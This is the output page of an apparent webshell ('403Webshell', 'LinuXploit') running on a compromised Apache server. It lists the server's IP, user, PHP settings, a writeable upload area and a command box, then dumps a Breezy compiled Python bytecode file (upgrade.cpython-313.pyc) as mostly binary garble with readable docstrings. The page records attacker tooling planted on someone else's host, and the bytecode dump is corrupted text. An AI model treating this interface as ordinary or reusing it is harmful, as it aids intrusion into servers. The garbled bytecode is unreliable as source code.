403Webshell
Server IP : 50.21.180.56  /  Your IP : 216.73.216.139
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : ws67922704 ( 67922704)
PHP Version : 8.5.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/proc/self/root/usr/lib/python3/dist-packages/breezy/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/proc/self/root/usr/lib/python3/dist-packages/breezy/__pycache__/upgrade.cpython-313.pyc
�

p��g&1���SrSSKJrJrJrJr SSKJr SSKJ	r	J
r
 SSKJr "SS5r
SS	jrSS
jrSSjrSrSS
jrg)zbrz upgrade logic.�)�errors�trace�ui�urlutils)�RemoteBzrDir)�
ControlDir�format_registry)�gettextc�*�\rSrSrSSjrSrSrSrg)�Convert�Nc�L�X lSnU[RR;nUcUc[	S5eUbX0lO[R"U5Ul[UR
[5(a5UR
R5 UR
RUlUR
RR5(a[ReUR
RUl[RRR#U5 UR%5 U(d*[RRR'U5 gg!U(d*[RRR'U5 ff=f)azConvert a Bazaar control directory to a given format.

Either the url or control_dir parameter must be given.

:param url: the URL of the control directory or None if the
  control_dir is explicitly given instead
:param format: the format to convert to or None for the default
:param control_dir: the control directory or None if it is
  specified via the URL parameter instead
�cross_format_fetchNz4either the url or control_dir parameter must be set.)�formatr�
ui_factory�suppressed_warnings�AssertionError�
controldirr�open_unsupported�
isinstancer�_ensure_real�_real_bzrdir�root_transport�is_readonlyr�UpgradeReadonly�	transport�add�convert�remove)�self�urlr�control_dir�
warning_id�
saved_warnings      �0/usr/lib/python3/dist-packages/breezy/upgrade.py�__init__�Convert.__init__s%����)�
�"�b�m�m�&G�&G�G�
��;�;�.� �!W�X�X��"�)�O�(�9�9�#�>�D�O��d�o�o�|�4�4��O�O�(�(�*�"�o�o�:�:�D�O��?�?�)�)�5�5�7�7��(�(�(����7�7���
�
�
�)�)�-�-�j�9�	E��L�L�N� ��
�
�1�1�8�8��D�!��=��
�
�1�1�8�8��D�!�s�.E0�03F#c�H�URR5nURURR:waJ[RR[
S5[R"URS5-5 AURcRURR5RRnU(aSnOSn["R$"U5nOURnURR'U5(d*[R("URR5eURR+5(d6[R,"[
S5URR-5eURR/U5 [RR[
S5[R"UR0R2S5-5 URR55uUlUlURR'U5(ahURRR;U5nUR=URS5UlURR'U5(aMh[RR[
S55 g![R[R4a GNxf=f![R a SnGNYf=f)	NzDThis is a checkout. The branch (%s) needs to be upgraded separately.�utf-8Fzdefault-rich-root�defaultz$cannot upgrade from bzrdir format %szstarting upgrade of %s�finished)r�open_branch�user_urlrr�noter
r�unescape_for_displayr�NotBranchError�IncompatibleRepositoriesr�find_repository�_format�rich_root_data�NoRepositoryPresentr	�make_controldir�needs_format_conversion�UpToDateFormat�can_convert_format�BzrError�check_conversion_targetr�base�
backup_bzrdir�backup_oldpath�backup_newpath�
get_converterr)r �branch�	rich_root�format_namer�	converters      r%r�Convert.convert<s]��	��_�_�0�0�2�F����$�/�/�":�":�:��
�
�"�"��'�� �4�4�V�_�_�g�N�	P���
�;�;��
"� �O�O�;�;�=�E�E�T�T�	��1��'��$�4�4�[�A�F��[�[�F����6�6�v�>�>��'�'����(?�(?�@�@����1�1�3�3��/�/��>�?��/�/�)�)�*��
�	
���/�/��7�
�
�
����,�-��+�+�D�N�N�,?�,?��I�
J�	
�
48�?�?�3P�3P�3R�0���T�0��o�o�5�5�f�=�=����/�/�=�=�f�E�I�'�/�/�����F�D�O��o�o�5�5�f�=�=�	�
�
���7�:�.�/��C�%�%�v�'F�'F�G�	�
�	���-�-�
"�!�	�
"�s$�B	K�.L�$L�L�L!� L!c��URnURUR5n[RR5nUR
[S55 URU5 SSS5 g!,(df   g=f)zEClean-up after a conversion.

This removes the backup.bzr directory.
zDeleting backup.bzrN)	r�relpathr?rr�nested_progress_bar�updater
�delete_tree)r r�backup_relpath�child_pbs    r%�clean_up�Convert.clean_upksa��
�N�N�	�"�*�*�4�+>�+>�?��
�]�]�
.�
.�
0�H��O�O�G�$9�:�;��!�!�.�1�1�
0�
0�s�,A;�;
B	)r?r>rrr)NNN)�__name__�
__module__�__qualname__�__firstlineno__r&rrM�__static_attributes__��r%rrs�� E�D-0�^	2rUrNc��[R"U5/n[XAX#S9upVn[U5S:�aR[U5n[U5n	X�-
n
[R
R
[S5RX�U
55 U$)a�Upgrade locations to format.

This routine wraps the smart_upgrade() routine with a nicer UI.
In particular, it ensures all URLs can be opened before starting
and reports a summary at the end if more than one upgrade was attempted.
This routine is useful for command line tools. Other breezy clients
probably ought to use smart_upgrade() instead.

:param url: a URL of the locations to upgrade.
:param format: the format to convert to or None for the best default
:param clean-up: if True, the backup.bzr directory is removed if the
  upgrade succeeded for a given repo/branch/tree
:param dry_run: show what would happen but don't actually do any upgrades
:return: the list of exceptions encountered
�rM�dry_runrz;
SUMMARY: {0} upgrades attempted, {1} succeeded, {2} failed)	rr�
smart_upgrade�lenrrr.r
r)r!rrMrX�control_dirs�	attempted�	succeeded�
exceptions�attempted_count�succeeded_count�failed_counts           r%�upgraderbws��� �/�/��4�5�L�'4��x�(�$�I�*��9�~����i�.���i�.��&�8��
�
�
����N�
��f�_�|�D�	
�
�rUc��/n/n/nUHCn[XqX#S9up�n
URU5 URU	5 URU
5 ME XEU4$)a�Convert control directories to a new format intelligently.

If the control directory is a shared repository, dependent branches
are also converted provided the repository converted successfully.
If the conversion of a branch fails, remaining branches are still tried.

:param control_dirs: the BzrDirs to upgrade
:param format: the format to convert to or None for the best default
:param clean_up: if True, the backup.bzr directory is removed if the
  upgrade succeeded for a given repo/branch/tree
:param dry_run: show what would happen but don't actually do any upgrades
:return: attempted-control-dirs, succeeded-control-dirs, exceptions
rW)�_smart_upgrade_one�extend)r[rrMrX�
all_attempted�
all_succeeded�all_exceptionsr"r\r]r^s           r%rYrY�sj���M��M��N�#��+=��(�,
�(�	�j�	���Y�'����Y�'����j�)�
$���7�7rUc�*�SnUR5nUR5(a[URSS95nU/n[
U/XU5upxU(a�U(a�[RR[S5[U54-5 UV	s/sHo�RPM n
n	[
X�X#SS9up�URU
5 URU5 URU5 XgU4$![R
a N�f=fs sn	f)zeConvert a control directory to a new format intelligently.

See smart_upgrade for parameter details.
NT)�usingz+Found %d dependent branches - upgrading ...rA)�label)�open_repository�	is_shared�list�
find_branchesrr5�_convert_itemsrrr.r
rZrre)
r"rrMrX�
dependents�repor\r]r^�b�branch_cdirs�	successes�problemss
             r%rdrd�s���J�	>��*�*�,���>�>����d�0�0�t�0�<�=�J��
�I�*�K�=�&�G�T��I��Z�
�
�
����A�B�c�*�o�EW�W�	
�/9�9�j����j��9�,��(�8�
��	�	����&�����#����(�#���+�+��5�%�%�
��
��":s�C6�D�6D
�D
c��URSSS9nUS4$![a URSS9nNf=f![Ra Of=fUR	5nUS4$![R
a Of=fUR
5nUS4$![R[R4a Of=f[SU5e)a'Return the primary object and type label for a control directory.

:return: object, label where:
  * object is a Branch, Repository or WorkingTree and
  * label is one of:
    * branch            - a branch
    * repository        - a repository
    * tree              - a lightweight checkout
T)�unsupported�ignore_fallbacks)ryrA�
repository�treez$unknown type of control directory %s)
r,�NotImplementedErrorrr0rlr5�open_workingtree�
NoWorkingTree�NotLocalUrlr)r"�brrr�wts    r%�_get_object_and_labelr��s���	�	@��(�(�T�D�(�Q�B��8�|���
#�	@��(�(�$�(�?�B�	@��� � �
��
��"��*�*�,���\�!�!���%�%�
��
���
�
)�
)�
+���6�z���
� � �&�"4�"4�5�
��
���?��
M�MsC��3�6�3�6�A
�A
�A%�%A<�;A<�B�$B;�:B;c��/n/n[RR5nUR[	S5S[U55 [
U5GHup�U	RRn
[U	5up�U=(d Un
UR[	S5U
-US-[U55 [RR[	S5RU
[R"U
S555 U(d	[X�S9nUR%U	5 U(dM�[RR[	S
55 U(dWR-5 GMGM SSS5 XV4$![R aEn[RR[#U55 UR%U	5 SnAGM~SnAf[&aBn[(R*"S	RU55 UR%U5 SnAGM�SnAff=f![&a@n[(R*"[	S5X�4-5 UR%U5 SnAGMSnAff=f!,(df   XV4$=f)a�Convert a sequence of control directories to the given format.

:param items: the control directories to upgrade
:param format: the format to convert to or None for the best default
:param clean-up: if True, the backup.bzr directory is removed if the
  upgrade succeeded for a given repo/branch/tree
:param dry_run: show what would happen but don't actually do any upgrades
:param label: the label for these items or None to calculate one
:return: items successfully upgraded, exceptions
zUpgrading bzrdirs�zUpgrading %srzUpgrading {0} {1} ...r))r"rNzconversion error: {}zRemoving backup ...zfailed to clean-up {0}: {1})rrrHrIr
rZ�	enumeraterr<r�r.rrr/rrr8�str�append�	Exceptionr�warningrM)�itemsrrMrXrkr]r^rL�ir"�location�
bzr_object�	bzr_label�
type_label�cv�exs                r%rprps����I��J�	���	*�	*�	,������ 3�4�a��U��D�'��.�N�A�"�1�1�6�6�H�$9�+�$F�!�J��+�)�J��O�O�G�N�3�z�B�A��E�3�u�:�V��M�M����/�0�7�7���1�1�(�G�D��
�

�� �[�H�B�
���[�)��x�*��M�M�&�&�w�/D�'E�F�"����
�#�;/�
-�P� � ��/�(�(�
��
�
�"�"�3�r�7�+�� � ��-����
��
�
�4�;�;�B�?�@��!�!�"�%���
��!�*��M�M�� =�>�(��O���%�%�b�)�)��	*��C
-�	,�P� � �sr�CI1�E>�I1�,?H$�+I1�>H!�9G�I1�
H!�6H�I1�H!�!I1�$
I.�.4I)�"I1�)I.�.I1�1
J)NFF)FF)N)�__doc__�rrrr�
bzr.remoterrrr	�i18nr
rrbrYrdr�rprTrUr%�<module>r�sC��"�)�)�$�3��[2�[2�|�@8�6#,�Z N�F5!rU

Youez - 2016 - github.com/yon3zu
LinuXploit